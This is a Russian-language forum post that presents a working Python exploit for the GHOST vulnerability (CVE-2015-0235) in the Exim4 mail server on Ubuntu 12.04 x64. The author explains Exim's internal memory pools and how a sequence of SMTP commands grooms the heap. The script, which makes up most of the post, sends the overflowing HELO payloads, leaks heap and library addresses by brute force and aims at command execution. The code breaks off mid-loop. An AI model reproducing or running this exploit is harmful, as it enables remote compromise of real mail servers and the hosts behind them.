|
|
![]() |
|
Опции темы | Поиск в этой теме | Опции просмотра |
![]() |
#1 |
![]() Эксплойт под уязвимость CVE-2015-0235 для Exim4 ubuntu 12.04 x64.
Скорее всего для эксплуатации в реальных условиях нужен будет домен и почтовый сервер для него (туда куда указывает MX-запись домена), т.к. надо засылать письмо пускай и фейковое и на несуществующий адрес (я надесюь). Необходимые команды для эксплуатации: * RCPT * DATA * RSET * HELO По поводу эксплуатации уязвимости лучше всего смотреть комментарии в функции PREPARE_HEAP_LEAK и под gdb. Стоит сделать оговорку, что в Exim4 реализована своя простая куча. Существует три пула памяти: * MAIN * PERM * SEARCH MAIN - после определенных команд сбрасывается, PERM - растёт и не освобождается. SEARCH вообще хз зачем, он не используется при настройках по умолчанию. Описываются они структурой storeblock: struct storeblock { struct storeblock *next; int length } Важные внутреннии переменные в Exim4 связанные с пулами: * yield_length длина отсавшегося места в пуле * next_yield граница занятого и свободного места, по другому это адрес памяти которая будет выделена следующей * current_block текущии блоки MAIN/PERM/SEARCH из которых Exim4 выделяет память * chainbase тут лежат самые верхнии блоки памяти В эксплойте реализованы простейшии примитивы команд для слежения за состоянием пулов. Это очень важно, т.к. позволяет выравнивать память даже при разных длинах почтовых адресов. Когда вы только подключились пулы находятся в начальном состоянии. Например, как только я подключаюсь у меня устанавливается следующее состояние пулов: COUNT_PERM = 3 COUNT_MAIN = 1 yield_length[MAIN] = 0x1BF0 yield_length[PERM] = 0x0C00 После этого вы вводите команду 'MAIL FROM: hacker@bless.hell' и в пуле памяти MAIN создается запись кому адресовано письмо И выделяется определенное количество памяти. То же самое происходит с командой RCPT - создается определенная структура и кладется в MAIN, так же там выделяется место под массив структур recipients_list размером 0x4B0. И маленька структурка кладется в PERM. HELO кладет очень большую структуру в PERM и после этого делает store_reset_3, которая в свою очередь возвращает MAIN в начальное состояние освобождая все её выделенные блоки. DATA вообще уникальная команда которая работает с пулом MAIN. Я до сих пор не понял как именно она работает. Но у неё есть несколько "режимов" работы, например: * Она может побайтово писать в память (что используется в брутфорсе) * Может лавинно сбросить вcю память (без этого cmd exec через FILE * не был возможен в принципе из-за невозможности перетирать указатель, который используется для вызова команд) Скорее всего это зависит от количества памяти которое засылается или ещё чего неведомого. RSET просто сбрасывает переменные и пул MAIN. Брутфорс надо как-то оптимизировать, т.к. каждая попытка отправляет 2 письма, что очень сильно отражается на логах. Первая мысль что приходит в голову это увеличить шаг. Ещё очень важная оговорка - это ACL которые примеяются к параметрам разных комманд. Когда вы указываете получателя письма (RCPT TO), то в структуре, которая кладется в пул MAIN, добавляются ещё и его ACL. Т.е. без знания точной настройки (админ мог добавить какую-то проверку) возможны проблемы при эксплуатации . Но это решаемая задача. Наприме, суммарно все ACL создают дополнительную нагрузку в X байт (возможно где-то размер будет зависить от домена или имени получателя), значит мы можем подобрать это значение с помощью контроллируемых крэшей программы. Так же и с начальными состояниями пулов. Т.е. основная мысль всего этого - возможно написать брутфорсер, который будет подбирать начальные значения и на основании этого потом эксплуатировать. Ну и фатальная проблема, которая попалась мне при тестирвоании: если в адресе do_system присутствует '\r' (0x0D), то Exim4 любезно поправит вас и заменит его на '\r\n'. Думаю, что это _не_ единственный вариант выполнять команды, на хипе хранится кучуа всего, что можно использовать, в том числе и избежать дорогостоящего брутфорса адреса хипа. Всем удачи! Код:
#!/usr/bin/python import socket import random import string import telnetlib import commands import sys import signal from struct import pack, unpack global recipient_list_size, count_main, count_perm, yield_len_main, yield_len_perm global hacker_domain, target_domain global helo1, helo2, helo3, helo_overflow global addr, bind, debug, STOREBLOCK_SIZE, STOREBLOCK_MIN_SIZE, STORE_MAIN, STORE_PERM, counter, rset_count, helo_count global have_sender addr = ('192.168.0.223', 25) bind = ('192.168.0.62', 44431) debug = False STOREBLOCK_SIZE = 0x2000 STOREBLOCK_MIN_SIZE = 0x100 STORE_MAIN = 0x0 STORE_PERM = 0x1 counter = 0 rset_count = 0 helo_count = 0 #helo1 = '0' * (1900-1) helo1 = '0' * (1800-16) helo2 = '0' * (1800-16) + '0' * 16 #helo2 = '0' * (1900-1) + '0' * 16 helo_overflow = '0' * (2000-1) + '.19' helo3 = '0' * (2000-4) + '0' * 16 recipient_list_size = 0 count_main = 1 count_perm = 3 yield_len_main = 0x1bf0 yield_len_perm = 0xc00 if len(sys.argv) < 3: hacker_domain = 'super-puper.ru' target_domain = 'evilcorp-ha.gov' else: hacker_domain = sys.argv[1] target_domain = sys.argv[2] have_sender = False def timeout_handler(signum, frame): raise Exception def size_alignment(size): ret = size if (ret % 8 != 0): ret += (8 - (ret % 8)) return ret def store_point(): global count_main global count_perm global yield_len_main global yield_len_perm global recipient_list_size return (count_main, yield_len_main, count_perm, yield_len_perm, recipient_list_size) point = store_point() def store_reset(point=None): global count_main global count_perm global yield_len_main global yield_len_perm global recipient_list_size global have_sender have_sender = False if point is not None: (count_main, yield_len_main, count_perm, yield_len_perm, recipient_list_size) = point else: count_main = 1 yield_len_main = 0x1BF0 recipient_list_size = 0 def store_info(): if debug: print "POOL_MAIN(%d) = 0x%04x, POOL_PERM(%d) = 0x%04x" % (count_main, yield_len_main, count_perm, yield_len_perm) def store_get(size, pool='main'): global yield_len_main global yield_len_perm global count_main global count_perm if pool == 'main': if yield_len_main < size: yield_len_main = 0x2000 count_main += 1 yield_len_main -= size elif pool == 'perm': if yield_len_perm < size: yield_len_perm = 0x2000 count_perm += 1 yield_len_perm -= size def rcpt_cmd(mailbox, tel): (local, domain) = mailbox.split('@') global recipient_list_size acl1 = 'ACL "acl_check_rcpt"' acl1_rule = '^[./|] : ^.*[@%!`#&?] : ^.*/\.\./' acl2 = 'ACL "acl_local_deny_exceptions"' len_acl2_buf = 40 len_pcre1 = 0x60 len_pcre2 = 0x60 len_pcre3 = 0x48 len_local = size_alignment(len(local)+1) len_domain = size_alignment(len(domain)+1) len_mailbox = size_alignment(len(mailbox)+1) len_acl1 = size_alignment(len(acl1)+1) len_acl1_rule = size_alignment(len(acl1_rule)+1) len_acl2 = size_alignment(len(acl2)+1) if recipient_list_size == 0: store_get(0x10) store_get(0x4B0) store_get(0x18, 'perm') store_get(len_domain, 'perm') store_get(len_mailbox) store_get(len_domain) store_get(len_local) store_get(len_local) store_get(len_acl1) store_get(len_domain) store_get(len_domain) store_get(len_local) store_get(len_acl1_rule) store_get(len_pcre1) store_get(len_pcre2) store_get(len_pcre3) store_get(len_local) store_get(len_acl2) store_get(len_acl2_buf) recipient_list_size += 1 tel.write('RCPT TO: ' + mailbox + '\n') tel.read_until('250 Accepted') store_info() def mail_cmd(mailbox, tel): global have_sender (local, domain) = mailbox.split('@') acl1 = 'ACL "acl_check_mail"' len_acl1 = size_alignment(len(acl1)+1) len_mailbox = size_alignment(len(mailbox)+1) store_get(len_mailbox) store_get(len_acl1) tel.write('MAIL FROM: ' + mailbox + '\n') tel.read_until('250 OK') have_sender = True store_info() def rset_cmd(tel): global rset_count tel.write('RSET\n') tel.read_until('250 Reset OK') rset_count += 1 if debug: print 'RSET(' + str(rset_count) + ')' store_reset() store_info() def data_cmd(data, tel): tel.write('DATA\n') tel.read_until('by itself') tel.write(data) tel.sock.recv(1024) store_reset() store_info() def helo_cmd(helo, tel): (ip, port) = bind global helo_count len_from = size_alignment(len(ip)+len(str(port))+1+2+1) # [IP]\x00PORT len_helo1 = size_alignment(len(helo)+len(ip)+2+2+2) # (HELO) [IP] len_helo2 = size_alignment(len(helo)+len('helo=')+len(ip)+2+2+2) # [IP] (helo=...) # interface structure len_struct = 0x40 store_get(len_from, 'perm') store_get(len_helo1, 'perm') store_get(len_helo2, 'perm') if helo_count == 0: store_get(len_struct, 'perm') store_get(len_struct, 'perm') store_get(len_struct, 'perm') store_get(len_struct, 'perm') tel.write('HELO ' + helo + '\n') tel.read_until(']') helo_count += 1 store_reset() store_info() def len_rcpt(mailbox): (local, domain) = mailbox.split('@') acl1 = 'ACL "acl_check_rcpt"' acl1_rule = '^[./|] : ^.*[@%!`#&?] : ^.*/\.\./' acl2 = 'ACL "acl_local_deny_exceptions"' len_acl2_buf = 40 len_pcre1 = 0x60 len_pcre2 = 0x60 len_pcre3 = 0x48 len_local = size_alignment(len(local)+1) len_domain = size_alignment(len(domain)+1) len_mailbox = size_alignment(len(mailbox)+1) len_acl1 = size_alignment(len(acl1)+1) len_acl1_rule = size_alignment(len(acl1_rule)+1) len_acl2 = size_alignment(len(acl2)+1) size_main = 0 size_perm = 0 if recipient_list_size == 0: size_main += 0x10 size_main += 0x4b0 size_perm += 0x18 size_perm += len_domain size_main += len_mailbox size_main += len_domain*3 size_main += len_local*4 size_main += len_acl1 size_main += len_acl1_rule size_main += len_pcre1 size_main += len_pcre2 size_main += len_pcre3 size_main += len_acl2 size_main += len_acl2_buf return (size_main, size_perm) def len_mail(mailbox): (local, domain) = mailbox.split('@') acl1 = 'ACL "acl_check_mail"' len_acl1 = size_alignment(len(acl1)+1) len_mailbox = size_alignment(len(mailbox)+1) size_main = 0 size_main += len_mailbox size_main += len_acl1 return size_main def len_helo(helo): (ip, port) = bind len_from = size_alignment(len(ip)+len(str(port))+1+2+1) # [IP]\x00PORT len_helo1 = size_alignment(len(helo)+len(ip)+2+2+2) # (HELO) [IP] len_helo2 = size_alignment(len(helo)+len('helo=')+len(ip)+2+2+2) # [IP] (helo=...) len_struct = 0x40 size_perm = 0 size_perm += len_from size_perm += len_helo1 size_perm += len_helo2 if helo_count == 0: size_perm += len_struct*4 eximbuff = len(helo) + 1 + 8 if eximbuff % 16 != 0: eximbuff += 16 - (eximbuff % 16) glibcbuff = eximbuff + 32 return (size_perm, eximbuff, glibcbuff) def CREATE_SOCK(addr): global counter sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # sock.bind(bind) sock.connect(('192.168.0.223', 25)) tel = telnetlib.Telnet() tel.sock = sock counter += 1 return tel def get_random_name(length): return 'BBB' # + ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(length-1)) def PREPARE_CMD_EXEC( DoYouHappy = ':D' ): global addr global have_sender global rset_count, helo_count tel = CREATE_SOCK(addr) global recipient_list_size, count_main, count_perm, yield_len_main, yield_len_perm, point store_reset(point) rset_count = 0 helo_count = 0 tel.read_until("+0400") mailfrom = get_random_name(3) + '@' + hacker_domain rcptto = get_random_name(3) + '@' + target_domain way_perm1 = 0xc00 way_main1 = 0x1bf0 + 0x400 way_perm2 = 0xc00 + 0x2000 way_main2 = 0x1bf0 + 0x2000 (step_main, step_perm) = len_rcpt(rcptto) first_step_main = step_main step_main -= 0x4b0 step_main -= 0x10 mail_step = len_mail(mailfrom) counter_perm1 = way_perm1/step_perm - 1 counter_main1 = (way_main1 - mail_step - first_step_main)/step_main mail_cmd(mailfrom, tel) store_get(0x18, 'perm') store_get(size_alignment(len(bind[0])+1), 'perm') rcpt_cmd(rcptto, tel) counter_perm1 -= 1 while counter_perm1 != counter_main1: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) counter_perm1 -= 1 rset_cmd(tel) mail_cmd(mailfrom, tel) rcpt_cmd(rcptto, tel) while counter_perm1 != 0: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) counter_perm1 -= 1 rset_cmd(tel) helo_cmd(helo1, tel) size_perm_len = len_helo(helo1)[0] counter_perm2 = yield_len_perm / step_perm #counter_perm2 = (way_perm2 - way_perm1 - size_perm_len)/step_perm counter_main2 = (way_main1 - mail_step - first_step_main)/step_main + 1 if not have_sender: mail_cmd(mailfrom, tel) rcpt_cmd(rcptto, tel) counter_perm2 -= 1 while counter_perm2 != counter_main2: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) counter_perm2 -= 1 rset_cmd(tel) mail_cmd(mailfrom, tel) rcpt_cmd(rcptto, tel) while counter_perm2 != 0: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) counter_perm2 -= 1 counter_main3 = yield_len_main / step_main while counter_main3 != 0: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) counter_main3 -= 1 helo_cmd(helo2, tel) mail_cmd(mailfrom, tel) counter_main3 = ( yield_len_main + 0x1000 - 0x10 - 0x4b0 ) / step_main while counter_main3 != 0: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) counter_main3 -= 1 helo_cmd(helo_overflow, tel) mail_cmd(mailfrom, tel) rcpt = get_random_name(16) + '@' + target_domain (step_main, step_perm) = len_rcpt(rcpt) step_main -= 0x4b0 + 0x10 counter_perm = yield_len_perm / step_perm counter_main = ( yield_len_main + 0x2000 - 0x10 - 0x4b0 ) / step_main + 1 if (counter_main > counter_perm): print "bad, bad, bad..." sys.exit(0) while counter_main != 0: rcpt = get_random_name(16) + '@' + target_domain rcpt_cmd(rcpt, tel) counter_main -= 1 helo_cmd(helo3, tel) mail_cmd(mailfrom, tel) (step_main, step_perm) = len_rcpt(rcptto) step_main -= 0x10 + 0x4b0 cnt_perm = yield_len_perm / step_perm + 1 cnt_main = ( yield_len_main - 0x10 - 0x4b0 ) / step_main + 1 if cnt_main > cnt_perm: # It really bad, need do more logic print 'Bad idea, you cannot allocate MAIN over MAIN :\'(' sys.exit(0) (test, exim, glibc) = len_helo(helo3) offset = 8224 - exim - glibc - 6 * 8 cnt_main = ( yield_len_main + 0x2000 + offset - 0x10 - 0x4b0 ) / step_main - 1 while cnt_main != 0: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) cnt_main -= 1 cnt_bytes = offset - ( 0x2000 - yield_len_main ) data = '\x00'* (cnt_bytes - 32) data += pack('<Q', 0x000000000000eab0) data += pack('<Q', 0x0000000000002020) data += pack('<Q', 0x0000000000000000) data += pack('<Q', 0x0000000000002000) data += '\n.\n' data_cmd(data, tel) rset_cmd(tel) ################## # HARD EXCORCSIM # ################## mail_cmd(mailfrom, tel) rcpt_cmd(rcpt, tel) cnt = 0 if count_main == 1: cnt = (yield_len_main) / step_main while cnt != 0: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) cnt -= 1 if count_main == 2: print 'I think it will be crash...' null_way = - (0x2000 - yield_len_main) + 0x5e0 - 8 * 10 elif count_main == 1: # WHY 8 * 8? - i dont know o_0 # may be i dont sum malloc_chunk header and storeblock header?! # null_way = yield_len_main + 0x5e0 - 8 * 4 null_way = 0x5e0 - 8 * 4 tel.write('DATA\n') tel.read_until('by itself') print 'null way = %d, main rooms = %d, yield main = %d' % (null_way, count_main, yield_len_main) return (tel, null_way) # for z in range(0, null_way/2): # tel.write('\x00') # for z in range(0, null_way/2): # tel.write('\x01') def PREPARE_HEAP_LEAK(what='lib'): global addr global have_sender global rset_count, helo_count tel = CREATE_SOCK(addr) global recipient_list_size, count_main, count_perm, yield_len_main, yield_len_perm, point store_reset(point) rset_count = 0 helo_count = 0 # print "Recipients => %d\nSTORE_MAIN => %d\nSTORE_PERM => %d\nYIELD_MAIN => 0x%04x\nYIELD_PERM => 0x%04x\n" % (recipient_list_size, count_main, count_perm, yield_len_main, yield_len_perm) tel.read_until("+0400") mailfrom = get_random_name(3) + '@' + hacker_domain rcptto = get_random_name(3) + '@' + target_domain # we need get struct of heap like this # # MAIN 8224 # PERM 8224 # TOP # # # After store_reset() main rooms are freeing and we are seeing this # FREE 8224 # PERM 8224 # TOP way_perm1 = 0xc00 way_main1 = 0x1bf0 + 0x400 way_perm2 = 0xc00 + 0x2000 way_main2 = 0x1bf0 + 0x2000 (step_main, step_perm) = len_rcpt(rcptto) first_step_main = step_main step_main -= 0x4b0 step_main -= 0x10 mail_step = len_mail(mailfrom) counter_perm1 = way_perm1/step_perm - 1 counter_main1 = (way_main1 - mail_step - first_step_main)/step_main # print "Perm1 = " + str(counter_perm1) # print "Step = " + str(step_perm) # print "Main1 = " + str(counter_main1) # print "Step = " + str(step_main) mail_cmd(mailfrom, tel) # first 'rcpt to' cmd in session put to PERM pool struct with ip address store_get(0x18, 'perm') store_get(size_alignment(len(bind[0])+1), 'perm') rcpt_cmd(rcptto, tel) counter_perm1 -= 1 while counter_perm1 != counter_main1: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) counter_perm1 -= 1 rset_cmd(tel) mail_cmd(mailfrom, tel) rcpt_cmd(rcptto, tel) while counter_perm1 != 0: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) counter_perm1 -= 1 rset_cmd(tel) # (test, exim, glibc) = len_helo(helo1) # print 'GLIBC = %d, EXIM4 = %d' % (glibc, exim) helo_cmd(helo1, tel) size_perm_len = len_helo(helo1)[0] # NOW HEAP: # # 8208 bytes # 1920 bytes helo exim4 ( helo cmd does free() ) # 1952 bytes helo glibc ( helo cmd does realloc() ) # 4352 bytes free # 8224 bytes PERM # TOP # # TRY GET HEAP STRUCTURE: # # 8208 # 1920 helo # 1952 helo # 4352 FREE # 8224 PERM # 8224 FREE # 8224 PERM # TOP # counter_perm2 = yield_len_perm / step_perm #counter_perm2 = (way_perm2 - way_perm1 - size_perm_len)/step_perm counter_main2 = (way_main1 - mail_step - first_step_main)/step_main + 1 # print "Perm2 = " + str(counter_perm2) # print "Step = " + str(step_perm) # print "Main2 = " + str(counter_main2) # print "Step = " + str(step_main) if not have_sender: mail_cmd(mailfrom, tel) rcpt_cmd(rcptto, tel) counter_perm2 -= 1 while counter_perm2 != counter_main2: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) counter_perm2 -= 1 rset_cmd(tel) mail_cmd(mailfrom, tel) rcpt_cmd(rcptto, tel) while counter_perm2 != 0: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) counter_perm2 -= 1 counter_main3 = yield_len_main / step_main while counter_main3 != 0: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) counter_main3 -= 1 # (test, exim, glibc) = len_helo(helo2) # print 'GLIBC = %d, EXIM4 = %d' % (glibc, exim) helo_cmd(helo2, tel) # HEAP # # 0x00007fba7fdf3a60 -> 0x00007fba7fdf5a6f inuse: 8208 # 0x00007fba7fdf5a70 -> 0x00007fba7fdf698f free: 3872 # 0x00007fba7fdf6990 -> 0x00007fba7fdf711f inuse: 1936 # 0x00007fba7fdf7120 -> 0x00007fba7fdf78cf inuse: 1968 # 0x00007fba7fdf78d0 -> 0x00007fba7fdf7a8f free: 448 # 0x00007fba7fdf7a90 -> 0x00007fba7fdf9aaf inuse: 8224 # 0x00007fba7fdf9ab0 -> 0x00007fba7fdfbacf free: 8224 # 0x00007fba7fdfbad0 -> 0x00007fba7fdfdaef inuse: 8224 # raw_input("DO HEAP OVERFLOW") mail_cmd(mailfrom, tel) counter_main3 = ( yield_len_main + 0x1000 - 0x10 - 0x4b0 ) / step_main while counter_main3 != 0: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) counter_main3 -= 1 # (test, exim, glibc) = len_helo(helo_overflow) # print 'GLIBC = %d, EXIM4 = %d' % (glibc, exim) helo_cmd(helo_overflow, tel) # raw_input("SEE RESULT OF OVERFLOW") # HEAP # # 0x00007fba7fdf3a60 -> 0x00007fba7fdf5a6f inuse: 8208 # 0x00007fba7fdf5a70 -> 0x00007fba7fdf624f inuse: 2016 # 0x00007fba7fdf6250 -> 0x00007fba7fdf711f free: 3792 # 0x00007fba7fdf7120 -> 0x00007fba7fdf791f inuse: 2048 # 0x00007fba7fdf7920 -> 0x00007fba7fdfb24f free: 14640 # # gdb-peda$ x/2xg 0x00007fba7fdf7120 # 0x7fba7fdf7120: 0x0000000000000ed0 0x0000000000000800 # # gdb-peda$ x/2xg 0x00007fba7fdf7120 + 0x800 # 0x7fba7fdf7920: 0x2e30303030303030 0x0000000000003931 # # gdb-pead$ x/2xg 0x00007fba7fdf7120 + 0x800 + 0x3930 # 0x7fba7fdfb250: 0x0000001000000000 0x0000000000000000 # # # BINS (freed chunks) # # 0x00007fba7fdf7930 -> 0x00007fba7fdfb25f 14640 # 0x00007fba7fdf9ac0 -> 0x00007fba7fdfbadf 8224 # Try to get MAIN room after gethost..() buffer. # One of problem, very big problem is that # we rewrite struct somewhere after here: # # 0x00007fba7fdf97f0 -> 0x00007fba7fdfb0ff free: 6416 # # After allocated MAIN room we can do this buffer is allocated # It will be very bad, becouse we will have summary ~11 kb free memory # To avoid this probmlem try incrase or decrase param in get_random_name() # # Another method to avoid this problem that rewrite it with DATA # raw_input("GET MAIN BUFFER AFTER GLIBC HELO BUFF 1") mail_cmd(mailfrom, tel) rcpt = get_random_name(16) + '@' + target_domain (step_main, step_perm) = len_rcpt(rcpt) step_main -= 0x4b0 + 0x10 counter_perm = yield_len_perm / step_perm counter_main = ( yield_len_main + 0x2000 - 0x10 - 0x4b0 ) / step_main + 1 if (counter_main > counter_perm): print "bad, bad, bad..." sys.exit(0) while counter_main != 0: rcpt = get_random_name(16) + '@' + target_domain rcpt_cmd(rcpt, tel) counter_main -= 1 # raw_input("GET MAIN BUFFER AFTER GLIBC HELO BUFF 2") # HEAP # # 0x00007fba7fdf3a60 -> 0x00007fba7fdf5a6f inuse: 8208 # 0x00007fba7fdf5a70 -> 0x00007fba7fdf624f inuse: 2016 ( exim4 helo buffer ) # 0x00007fba7fdf6250 -> 0x00007fba7fdf6fcf free: 3456 # 0x00007fba7fdf6fd0 -> 0x00007fba7fdf77cf inuse: 2048 ( glibc helo buffer ) # 0x00007fba7fdf77d0 -> 0x00007fba7fdf97ef inuse: 8224 ( MAIN room ) # 0x00007fba7fdf97f0 -> 0x00007fba7fdfb0ff free: 6416 # 0x00007fba7fdfb100 -> 0x2f1d8bf399edb157 inuse: 3394883133497016408 not used # # # See MAIN rooms # # gdb-peda$ p chainbase # $74 = {0x7fba7fde8a30, 0x7fba7fde0b00, 0x0} # # gdb-peda$ xinfo 0x7fba7fde8a30 # 0x7fba7fde8a30 --> 0x7fba7fdf9ac0 --> 0x7fba7fdf77e0 --> 0x0 # # # Now do HELO. Param must is bigger than last helo param. # It will do realloc() on the glibc buf and free() on the exim4 buf. # And after that we incrase our fake buffer # from 14680(0x3930) to 17k - 18k to backward. # raw_input("TRY INCRASE BUFFER FROM 14k TO 18k") helo_cmd(helo3, tel) # (test, exim, glibc) = len_helo(helo3) # print 'Exim = %d, Glibc = %d' % (exim, glibc) # NOW HEAP: # # 0x00007fba7fdf3a60 -> 0x00007fba7fdf5a6f inuse: 8208 # 0x00007fba7fdf5a70 -> 0x00007fba7fdf625f inuse: 2032 ( exim4 helo ) # 0x00007fba7fdf6260 -> 0x00007fba7fdf6a6f inuse: 2064 ( glibc helo ) # 0x00007fba7fdf6a70 -> 0x00007fba7fdfb0ff free: 18064 # # # BINS # # 0x00007fba7fdf9ac0 -> 0x00007fba7fdfbadf 8224 bytes # 0x00007fba7fdf6a80 -> 0x00007fba7fdfb10f 18064 bytes # # Yeah! # # Now allocate two MAIN buffers and one PERM. # MAIN buffer must rewrites another MAIN buffer. # So PERM ___must_gets___ buffer at 0x00007fba7fdf6a80. # It will be second allocated room. # So one MAIN buffer must allocated before PERM at 0x00007fba7fdf9ac0 # # DATA can write raw data \x00..\xfe. And DATA saves it in MAIN room =) # # raw_input("CHECK") mail_cmd(mailfrom, tel) # Who is fastest get next room # It is very important. See above. (step_main, step_perm) = len_rcpt(rcptto) step_main -= 0x10 + 0x4b0 cnt_perm = yield_len_perm / step_perm + 1 cnt_main = ( yield_len_main - 0x10 - 0x4b0 ) / step_main + 1 if cnt_main > cnt_perm: # It really bad, need do more logic print 'Bad idea, you cannot allocate MAIN over MAIN :\'(' sys.exit(0) (test, exim, glibc) = len_helo(helo3) offset = 8224 - exim - glibc - 6 * 8 cnt_main = ( yield_len_main + 0x2000 + offset - 0x10 - 0x4b0 ) / step_main - 1 while cnt_main != 0: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) cnt_main -= 1 # Use MAIN rooms behavior to free place more than should be # see store_reset_3 function in exim4/src/store.c for details # raw_input("GO TO DATA") cnt_bytes = offset - ( 0x2000 - yield_len_main ) # print 'Count bytes to malloc chunk header => %d' % cnt_bytes # raw_input('before backward jump') data = '\x00'* (cnt_bytes - 32) if what == 'lib': data += pack('<Q', 0x000000000000eab0) elif what == 'heap': data += pack('<Q', 0x0000000000016ca0) #0x00000000000155c0) else: sys.exit(1) data += pack('<Q', 0x0000000000002020) data += pack('<Q', 0x0000000000000000) data += pack('<Q', 0x0000000000002000) data += '\n.\n' data_cmd(data, tel) # now we are here # # # HEAP when what='heap' # NOTE: jump more backword, because need more memory for right exploit work # NOTE: old prev_size = 0x155c0, new prev_size = 0x16ca0 # 0x00007fb02f6bd4f0 -> 0x00007fb02f6d4acf free: 95712 bytes <-- near **lookup_list # 0x00007fb02f6d4ad0 -> 0x00007fb02f6d6aef inuse: 8224 bytes # 0x00007fb02f6d6af0 -> 0x00007fb02f6d8b0f inuse: 8224 bytes # 0x00007fb02f6d8b10 -> 0x00007fb02f6dab2f inuse: 8224 bytes # 0x00007fb02f6dab30 -> 0x00007fb02f6dcb4f inuse: 8224 bytes # # # HEAP when what='lib' # # 0x00007fb02f6bd4f0 -> 0x00007fb02f6bd52f free: 64 # 0x00007fb02f6bd530 -> 0x00007fb02f6bd55f inuse: 48 # 0x00007fb02f6bd560 -> 0x00007fb02f6bd5cf inuse: 112 # 0x00007fb02f6bd5d0 -> 0x00007fb02f6bf5ef inuse: 8224 # 0x00007fb02f6bf5f0 -> 0x00007fb02f6c160f inuse: 8224 # 0x00007fb02f6c1610 -> 0x00007fb02f6c1a1f inuse: 1040 # 0x00007fb02f6c1a20 -> 0x00007fb02f6c3a3f inuse: 8224 # 0x00007fb02f6c3a40 -> 0x00007fb02f6c3e4f inuse: 1040 # 0x00007fb02f6c3e50 -> 0x00007fb02f6c3e7f inuse: 48 # 0x00007fb02f6c3e80 -> 0x00007fb02f6c3eaf inuse: 48 # 0x00007fb02f6c3eb0 -> 0x00007fb02f6c3ecf inuse: 32 # 0x00007fb02f6c3ed0 -> 0x00007fb02f6c3eff inuse: 48 # 0x00007fb02f6c3f00 -> 0x00007fb02f6c3f1f inuse: 32 # 0x00007fb02f6c3f20 -> 0x00007fb02f6c3f4f inuse: 48 # 0x00007fb02f6c3f50 -> 0x00007fb02f6c3f6f inuse: 32 # 0x00007fb02f6c3f70 -> 0x00007fb02f6c3f9f inuse: 48 # 0x00007fb02f6c3fa0 -> 0x00007fb02f6c3fbf inuse: 32 # 0x00007fb02f6c3fc0 -> 0x00007fb02f6c3fdf inuse: 32 # 0x00007fb02f6c3fe0 -> 0x00007fb02f6c3fff inuse: 32 # 0x00007fb02f6c4000 -> 0x00007fb02f6d4acf free: 68304 <-- near FILE *smtp_out # 0x00007fb02f6d4ad0 -> 0x00007fb02f6d6aef inuse: 8224 # 0x00007fb02f6d6af0 -> 0x00007fb02f6d8b0f inuse: 8224 # 0x00007fb02f6d8b10 -> 0x00007fb02f6dab2f inuse: 8224 # 0x00007fb02f6dab30 -> 0x00007fb02f6dcb4f inuse: 8224 # Now need go to border of smtp_out/lookup_list # rset_cmd(tel) if what == 'lib': # gdb-peda$ p smtp_out # $83 = (FILE *) 0x7fb02f6c45e0 # # gdb-peda$ p/x 0x7fb02f6c45e0 - 0x00007fb02f6c4020 # $84 = 0x5e0 # # from 0x00007fb02f6c4000 to 0x7fb02f6c45e0 lie time_val stucture # we must rewrite its nulls # # # Simple one-byte bruteforce at (FILE *)smtp_out->_IO_read_end # We write byte and do socket.shutdown(WRITE). This should answer to us # "421 Lost incoming connection" if address in _IO_read_end is good mail_cmd(mailfrom, tel) rcpt_cmd(rcpt, tel) cnt = 0 if count_main == 1: cnt = (yield_len_main) / step_main + 2 while cnt != 0: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) cnt -= 1 null_way = - (0x2000 - yield_len_main) + 0x5e0 - 8 * 10 + 8 * 2 tel.write('DATA\n') tel.read_until('by itself') for z in range(0, null_way): tel.write('\x00') return tel elif what == 'heap': # When we type data exim calls twice function search_tidyup() # at begin and at end (or when we close writeble sock) input message # It check global variable lookup_list: # # lookup_info **lookup_list; # # In the end typing we rewrite first variable and shutdown socket # if we see error message then SIGSEGV was not. So memory mapped. # If memory mapped - check another places where search_tidyup() on # heap doesnt crash # # NOTE: # We can avoid bruteforce heap address if you can imagine # how to exploit _IO_jump_t *vtable (fwrite + 0x34) with # hardcoded params, execv is bad, because second param # is (char *), but execv need (char **). So pointer to do_system # i cannot find. Execl* althgouth didnt find. # # For more information see links: # http://www.outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/ # http://www.clevcode.org/plaidctf-2011-21-key-leak-450-pts/ # # When we get heap address we can write ptr to do_system and use for execute # our command through FILE structure # # NOTE: OLD # gdb-peda$ p lookup_list # $642 = (lookup_info **) 0x7fb02f6bd570 # # gdb-peda$ p/x 0x7fb02f6bd570 - 0x00007fb02f6bd4f0 # $643 = 0x80 # NOTE: NEW, see backward # different = 0x1760 mail_cmd(mailfrom, tel) rcpt_cmd(rcpt, tel) cnt = 0 if count_main == 1: cnt = (yield_len_main + 0x1760) / step_main - 1 while cnt != 0: rcpt = get_random_name(3) + '@' + target_domain rcpt_cmd(rcpt, tel) cnt -= 1 null_way = -(0x2000 - yield_len_main ) + 0x1760 - 8 * 10 tel.write('DATA\n') tel.read_until('by itself') for z in range(0, null_way): tel.write('\x00') return tel memleak = '\x00' def CHECK_ADDR(try_off): tel = PREPARE_HEAP_LEAK('heap') check = pack('<Q', try_off) for k in range(0, len(check)): tel.write(check[k]) tel.sock.shutdown(socket.SHUT_WR) mess = tel.sock.recv(1024) if mess != '': return True else: return False for j in range(0,4): for i in 